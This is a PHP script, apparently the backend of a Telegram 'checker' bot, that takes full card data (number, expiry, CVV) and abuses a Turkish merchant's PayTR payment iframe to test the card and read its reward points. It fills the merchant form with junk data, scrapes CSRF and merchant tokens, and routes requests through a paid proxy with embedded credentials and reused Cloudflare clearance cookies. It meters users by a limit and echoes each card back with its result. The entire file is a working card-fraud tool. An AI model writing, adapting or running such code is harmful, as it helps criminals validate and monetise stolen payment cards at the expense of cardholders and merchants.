<?php

// Çıktı formatını düz metin olarak ayarla
header('Content-Type: text/plain; charset=utf-8');

$timestamp_start = microtime(true);

// Database connection
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch(PDOException $e) {
        die("❌ Database connection failed");
    }
}

// Get current limit
function getCurrentLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("SELECT puanlimit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    return $result ? intval($result['puanlimit']) : 0;
}

// Decrement limit
function decrementLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("UPDATE users SET puanlimit = GREATEST(puanlimit - 1, 0) WHERE chatid = ?");
    $stmt->execute([$chatid]);
}

if (!isset($_GET["card"]) || !isset($_GET["chatid"])) {
    die("❌ Kullanım: puan3.php?card=CARD|MM|YY|CVV&chatid=123456");
}

$chatid = $_GET['chatid'];

// Database connection ve limit kontrolü
$pdo = getDBConnection();
$current_limit = getCurrentLimit($pdo, $chatid);

if ($current_limit <= 0) {
    die("❌ Limit Exhausted | 𝐏𝐔𝐀𝐍𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Limit'i azalt
decrementLimit($pdo, $chatid);
$remaining_limit = $current_limit - 1;

$lista = $_GET["card"];
$cc_details = explode("|", $lista);

if (count($cc_details) !== 4) {
    die("Hata: Geçersiz kart formatı. Doğru format: 4444555566667777|12|28|123");
}

list($c, $m, $y, $cv) = array_map("trim", $cc_details);

if (strlen($y) === 4) $y = substr($y, -2);
if (strlen($m) === 1) $m = "0".$m;

// BIN bilgisi al (ilk 6 hane)
$bin = substr($c, 0, 6);

// Proxy ayarları
$proxy = "rp.scrapegw.com:6060";
$proxyAuth = "ccb7t99f1xa6q6v:e88zmabjie6wuek";

// ========================================
// STEP 1: İlk istek - Ödeme formu gönderimi
// ========================================

$url1 = "https://odeme.tekserelektronik.com.tr/";

$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, $url1);
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch1, CURLOPT_POST, true);
curl_setopt($ch1, CURLOPT_ENCODING, "");
curl_setopt($ch1, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch1, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch1, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch1, CURLOPT_TIMEOUT, 30);

// Headers
$headers1 = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language: tr-TR,tr;q=0.9',
    'Content-Type: application/x-www-form-urlencoded',
    'Origin: https://odeme.tekserelektronik.com.tr',
    'Referer: https://odeme.tekserelektronik.com.tr/',
    'Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"',
    'Sec-Ch-Ua-Mobile: ?0',
    'Sec-Ch-Ua-Platform: "Windows"',
    'Sec-Fetch-Site: same-origin',
    'Sec-Fetch-Mode: navigate',
    'Sec-Fetch-User: ?1',
    'Sec-Fetch-Dest: document',
    'Upgrade-Insecure-Requests: 1',
    'Cache-Control: max-age=0',
    'Priority: u=0, i'
];

curl_setopt($ch1, CURLOPT_HTTPHEADER, $headers1);

// POST data
$postData1 = [
    'payment_client' => 'asdsds dasasd',
    'payment_email' => 'asd712667a76sd@asdasd.com',
    'payment_phone' => '5399109124',
    'payment_country' => 'Türkiye',
    'payment_provience' => 'asdasd',
    'payment_city' => 'asdasd',
    'payment_adress' => 'asd87 187d7878as das 12 adszsasd',
    'payment_company' => '',
    'payment_tax_no' => '1111111111110',
    'payment_tax_administration' => '',
    'payment_amount' => '1',
    'payment_note' => 'asd ad8712 78as a ds'
];

curl_setopt($ch1, CURLOPT_POSTFIELDS, http_build_query($postData1));

$response1 = curl_exec($ch1);
$http_code1 = curl_getinfo($ch1, CURLINFO_HTTP_CODE);
$curl_error1 = curl_error($ch1);
$curl_errno1 = curl_errno($ch1);
curl_close($ch1);

if ($http_code1 !== 200 || empty($response1)) {
    $error_msg = "❌ Connection Error | First Request Failed\n";
    $error_msg .= "HTTP Code: {$http_code1}\n";
    $error_msg .= "cURL Error ({$curl_errno1}): {$curl_error1}\n";
    $error_msg .= "Response Length: " . strlen($response1) . "\n";
    $error_msg .= "Response Preview: " . substr($response1, 0, 200);
    die($error_msg);
}

// Token ve paytr link'i çıkar
preg_match('/<iframe src="https:\/\/www\.paytr\.com\/odeme\/guvenli\/([^"]+)"/', $response1, $token_match);
$token = $token_match[1] ?? null;

preg_match('/<iframe src="([^"]+)"/', $response1, $paytr_match);
$paytrlink = $paytr_match[1] ?? null;

if (!$token) {
    die("❌ Token not found");
}

// ========================================
// STEP 2: PayTR API - Token bilgileri
// ========================================

$url2 = "https://www.paytr.com/odeme/api/oos/payment/get/token/" . $token;

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $url2);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_ENCODING, "");
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch2, CURLOPT_TIMEOUT, 30);

// Headers
$headers2 = [
    'Host: www.paytr.com',
    'Accept: application/json, text/plain, */*',
    'Accept-Language: tr-TR,tr;q=0.9',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"',
    'Sec-Ch-Ua-Mobile: ?0',
    'Sec-Ch-Ua-Platform: "Windows"',
    'Sec-Fetch-Site: same-origin',
    'Sec-Fetch-Mode: cors',
    'Sec-Fetch-Dest: empty',
    'Sec-Fetch-Storage-Access: active',
    'Referer: https://www.paytr.com/odeme/guvenli/' . $token,
    'Priority: u=1, i'
];

curl_setopt($ch2, CURLOPT_HTTPHEADER, $headers2);

// Cookies
$cookies2 = 'cf_clearance=F6JiFMnDy9UWfM_0tDXKz62RWfVhIdYHiWbrPS.6Bcw-1765429048-1.2.1.1-j4IsjZ9b.RY9RBDKX5Ueb7SvsM8TepUXYuO2nIYmUozBwySDVKa1HY1qIoVLgQBtjGQDfr31E7djAnNTzkOcGvQUqPgTnCSTpMQUDeBEFdxWEC1oQP4YHgjMf_iCaVShPg7GCJOzIZzA4zvI1d0wgVItmsnpxb7KyfbHvZxibrweDsqoGjdJPWFeF4N3Bghh7QRlcfOyEUrcikwC5vep_ZRK9LnvOZiutHti1RqLC_4';
curl_setopt($ch2, CURLOPT_COOKIE, $cookies2);

$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
$curl_error2 = curl_error($ch2);
$curl_errno2 = curl_errno($ch2);
curl_close($ch2);

if ($http_code2 !== 200 || empty($response2)) {
    $error_msg = "❌ Connection Error | Second Request Failed\n";
    $error_msg .= "HTTP Code: {$http_code2}\n";
    $error_msg .= "cURL Error ({$curl_errno2}): {$curl_error2}\n";
    $error_msg .= "Response Length: " . strlen($response2) . "\n";
    $error_msg .= "Response Preview: " . substr($response2, 0, 200);
    die($error_msg);
}

// CSRF Token ve Merchant OID çıkar
preg_match('/","csrfToken":"([^"]+)","force3d"/', $response2, $csrf_match);
$csrftoken = $csrf_match[1] ?? null;

preg_match('/","merchantOid":"([^"]+)","merchantLogo"/', $response2, $mercoid_match);
$mercoid = $mercoid_match[1] ?? null;

if (!$csrftoken || !$mercoid) {
    die("❌ CSRF Token or Merchant OID not found");
}

// ========================================
// STEP 2.5: Kart detayları - Brand bilgisi al
// ========================================

$url_details = "https://www.paytr.com/odeme/api/oos/card/details";

$ch_details = curl_init();
curl_setopt($ch_details, CURLOPT_URL, $url_details);
curl_setopt($ch_details, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch_details, CURLOPT_POST, true);
curl_setopt($ch_details, CURLOPT_ENCODING, "");
curl_setopt($ch_details, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch_details, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch_details, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch_details, CURLOPT_TIMEOUT, 30);

$headers_details = [
    'Host: www.paytr.com',
    'Accept: application/json, text/plain, */*',
    'Accept-Language: tr-TR,tr;q=0.6',
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'Sec-Ch-Ua: "Brave";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'Sec-Ch-Ua-Mobile: ?0',
    'Sec-Ch-Ua-Platform: "Windows"',
    'Sec-Fetch-Site: same-origin',
    'Sec-Fetch-Mode: cors',
    'Sec-Fetch-Dest: empty',
    'Sec-Fetch-Storage-Access: none',
    'Sec-Gpc: 1',
    'Origin: https://www.paytr.com',
    'Referer: https://www.paytr.com/odeme/guvenli/' . $token,
    'Priority: u=1, i'
];

curl_setopt($ch_details, CURLOPT_HTTPHEADER, $headers_details);

$cookies_details = 'cf_clearance=verZVK.Jx6ryRKQnPBVDFnpsozZoNtTwCkHKmTzsGOQ-1765442106-1.2.1.1-daPFKBYRrxIjCDjHfwD7q8oFZ_gJyCJiA1UtIjLspVRBfaagTcvYAWytF5OCkC1plcWnR5tH1ymKGnisBkQlzMpfNqIOW9zroGmPYP2M4faWusO_td4DT78z8pZSVJkHZ.wgvxu6eje6jNw3B.43G56n0l3M9GFLQjtEvrwQrDTl4GHcnsH3NN0apsoIByyHfi7FWxDlzS3Dg7WNu.3WM3qB_AwhI38kOLJxux2JNbM';
curl_setopt($ch_details, CURLOPT_COOKIE, $cookies_details);

// BIN number (ilk 6 hane)
$bin_number = substr($c, 0, 6);

$postData_details = [
    'pageType' => 'iframe',
    'token' => $token,
    'csrfToken' => $csrftoken,
    'merchantOid' => $mercoid,
    'merchantId' => '205191',
    'binNumber' => $bin_number
];

curl_setopt($ch_details, CURLOPT_POSTFIELDS, http_build_query($postData_details));

$response_details = curl_exec($ch_details);
$http_code_details = curl_getinfo($ch_details, CURLINFO_HTTP_CODE);
curl_close($ch_details);

// Brand bilgisini parse et
$brand = 'maximum'; // Default
if ($http_code_details === 200 && !empty($response_details)) {
    $json_details = json_decode($response_details, true);
    if (isset($json_details['data']['brand'])) {
        $brand = $json_details['data']['brand'];
    }
}

// ========================================
// STEP 3: Kart puanları kontrolü
// ========================================

$url3 = "https://www.paytr.com/odeme/api/oos/card/points";

$ch3 = curl_init();
curl_setopt($ch3, CURLOPT_URL, $url3);
curl_setopt($ch3, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch3, CURLOPT_POST, true);
curl_setopt($ch3, CURLOPT_ENCODING, "");
curl_setopt($ch3, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch3, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch3, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch3, CURLOPT_TIMEOUT, 30);

// Headers
$headers3 = [
    'Host: www.paytr.com',
    'Accept: application/json, text/plain, */*',
    'Accept-Language: tr-TR,tr;q=0.6',
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'Sec-Ch-Ua: "Brave";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'Sec-Ch-Ua-Mobile: ?0',
    'Sec-Ch-Ua-Platform: "Windows"',
    'Sec-Fetch-Site: same-origin',
    'Sec-Fetch-Mode: cors',
    'Sec-Fetch-Dest: empty',
    'Sec-Fetch-Storage-Access: none',
    'Sec-Gpc: 1',
    'Origin: https://www.paytr.com',
    'Referer: https://www.paytr.com/odeme/guvenli/' . $token,
    'Priority: u=1, i'
];

curl_setopt($ch3, CURLOPT_HTTPHEADER, $headers3);

// Cookies
$cookies3 = 'cf_clearance=aVufuk088zcpG7K5jtPR1suPvSis6eDzIg.sKDw6kUE-1765429702-1.2.1.1-FkTeAiGlbZLcoaovfpONE4yViy9g1ot8RkhOrQgUQHfPAsjWuOXFTpZe9T7myD_CJMPRJK4RW_QlPo77C2pZKdF9bCXc28Xpt_.bZfrHWFU7YVjIpFLoWmMAMMkp0bh4E4giTArrUgvigWDwbC4yFnroGBL4X1TOSq33FKv6g0hO0aIfEd5td0fqDgFw7MAO0HUkVFqf1BgsG5wvC2N41tHUjOuVb1q.kVTez_Bb8CU';
curl_setopt($ch3, CURLOPT_COOKIE, $cookies3);

// POST data
$postData3 = [
    'pageType' => 'iframe',
    'token' => $token,
    'merchantId' => '205191',
    'merchantOid' => $mercoid,
    'csrfToken' => $csrftoken,
    'brand' => $brand,
    'amount' => '100',
    'number' => $c,
    'owner' => 'asdasd dassd',
    'month' => $m,
    'year' => $y
];

curl_setopt($ch3, CURLOPT_POSTFIELDS, http_build_query($postData3));

$response3 = curl_exec($ch3);
$http_code3 = curl_getinfo($ch3, CURLINFO_HTTP_CODE);
curl_close($ch3);

$timestamp_end = microtime(true);
$elapsed = round($timestamp_end - $timestamp_start, 1);

if ($http_code3 !== 200) {
    die("❌ Connection Error | HTTP {$http_code3}");
}

// Response'u parse et
$json_response = json_decode($response3, true);

if (json_last_error() === JSON_ERROR_NONE && isset($json_response['status'])) {
    if ($json_response['status'] === 'success') {
        // Başarılı - puan bilgisi data->point içinde
        $points = $json_response['data']['point'] ?? 0;
        
        if ($points == 0) {
            echo "❌ 0 Puan | {$c}|{$m}|{$y}|{$cv} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟑 𝐂𝐇𝐄𝐂𝐊𝐄𝐃 𝐁𝐘 aerithiacheck3r_bot";
        } else {
            echo "✅ {$points} Puan | {$c}|{$m}|{$y}|{$cv} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟑 𝐂𝐇𝐄𝐂𝐊𝐄𝐃 𝐁𝐘 aerithiacheck3r_bot";
        }
    } else {
        // Hata mesajı - error->group'tan al
        $message = $json_response['error']['group'] ?? $json_response['message'] ?? 'Unknown Error';
        echo "❌{$message} | {$c}|{$m}|{$y}|{$cv} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟑 𝐂𝐇𝐄𝐂𝐊𝐄𝐃 𝐁𝐘 aerithiacheck3r_bot";
    }
} else {
    // JSON parse hatası veya beklenmeyen format
    echo "❌ Invalid Response | {$c}|{$m}|{$y}|{$cv} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟑 𝐂𝐇𝐄𝐂𝐊𝐄𝐃 𝐁𝐘 aerithiacheck3r_bot";
}

?>
